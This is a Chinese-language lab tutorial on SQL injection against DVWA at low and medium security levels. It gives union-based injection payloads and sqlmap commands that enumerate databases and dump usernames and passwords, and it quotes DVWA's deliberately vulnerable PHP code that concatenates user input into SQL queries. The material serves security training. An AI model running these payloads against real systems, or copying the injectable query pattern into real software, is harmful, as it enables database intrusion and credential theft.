1. 程式人生 > >DVWA學習之SQL注入

DVWA學習之SQL注入

DVWA學習之SQL注入

環境工具

dvwa 1.9

phpstudy

firefox

burpsuite

實驗步驟

一、設定安全級別為LOW

1. 登入DVWA,並將安全級別設定為LOW

2. 進入SQL注入模組,並輸入1,返回結果如下

3. 下面判斷注入型別是字元型注入還是整數型注入

字元型注入的SQL語句形如

select * from xx where id='$id'

 整數型注入的SQL語句形如

select * from xx where id=$id

 (1) 分別輸入 1 and 1=1 和 1 and 1=2,都能返回正常結果

說明不是整數型注入,因為如果是整數型注入,執行select * from xx where id=1 and 1=2 時應報錯。

(問:select * from xx where id='1 and 1=2' 這裡應該不返回結果才對?)

(2) 輸入 1’ or '1'='1 ,返回所有結果

4. 獲取列數

(1) 1' or '1'='1' order by 3 #

(2)  1' or '1'='1' order by 2 #

說明表中的資料共兩列

5. 獲取資料庫名

1' union select  1, database() #

 

6. 獲取資料庫中的表名

1' or '1'='1' union select 1,table_name from information_schema.tables where table_schema=database() #

 獲取guestbook, users 兩張表

7. 獲取users表中的列名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

8. 獲取users 表中的使用者名稱密碼

1' union select user,password from users #

用sqlmap 實現SQL注入

1. 嘗試直接用url,發現結果跳轉到登入頁面,所以需要cookie 

2. 帶上cookie引數

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"

3.  使用--batch 引數,可以讓sqlmap為我們自動填寫執行選項 

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch

4. 使用--dbs 獲取所有的資料庫

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs
 

5. 使用-D指定資料庫,--tables 檢視資料中的表

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables

6. 用-D xxx -T xxx 指定表,--columns查看錶的列

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns
  

7. 用-C xxx --dump 輸出指定列的資料 

python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump
 

(sqlmap 還可以爆破hash密碼)

附錄

伺服器核心程式碼(LOW)

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

 

二、設定安全級別為MEDIUM

1. 設定dvwa的安全級別為medium

2. sql注入介面隨便選擇id,返回正確結果

 

此時沒有輸入框,但可以通過burpsuite抓包的形式進行注入

3. 在burpsuite中修改id引數,即可實現注入

medium 的程式碼中添加了對特殊字元的轉義,但由於medium為數字型注入,用不上引號,所以可以用跟字元型注入同樣的方式進行注入

Sqlmap 實現注入

1. 用burpsuite 捕獲正常的資料包,然後右鍵,選擇 "copy to file",儲存為sql_dvwa.txt

2. 啟動sqlmap進行注入

python sqlmap.py -r sql_dvwa.txt

 其他操作同上

附錄

伺服器核心程式碼如下(medium)

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?> 

&n